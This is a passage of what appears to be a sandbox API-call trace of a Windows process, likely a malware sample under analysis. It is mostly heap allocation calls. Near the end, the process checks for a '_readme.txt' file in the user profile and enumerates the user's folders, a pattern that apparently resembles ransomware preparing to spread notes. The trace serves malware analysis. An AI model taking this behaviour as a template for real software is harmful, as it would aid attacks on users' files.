lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.911] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.912] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.913] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.913] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.914] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.914] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.915] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.916] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.916] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.916] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.916] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.916] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.916] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.916] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.917] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182ef0 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.917] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.917] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.917] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.917] PathFindFileNameW (pszPath="") returned="" [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3287028 [0066.917] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.917] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.917] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.918] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3247f78 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602d0 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3287028 | out: hHeap=0x5d0000) returned 1 [0066.918] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32869b0 | out: hHeap=0x5d0000) returned 1 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x83c) returned 0x3247f78 [0066.918] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32869b0 | out: hHeap=0x5d0000) returned 1 [0066.918] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.918] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.918] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32869b0 | out: hHeap=0x5d0000) returned 1 [0066.918] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.918] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0066.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x32602d0 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0066.919] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d918 | out: hHeap=0x5d0000) returned 1 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602d0 | out: hHeap=0x5d0000) returned 1 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0066.919] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.919] 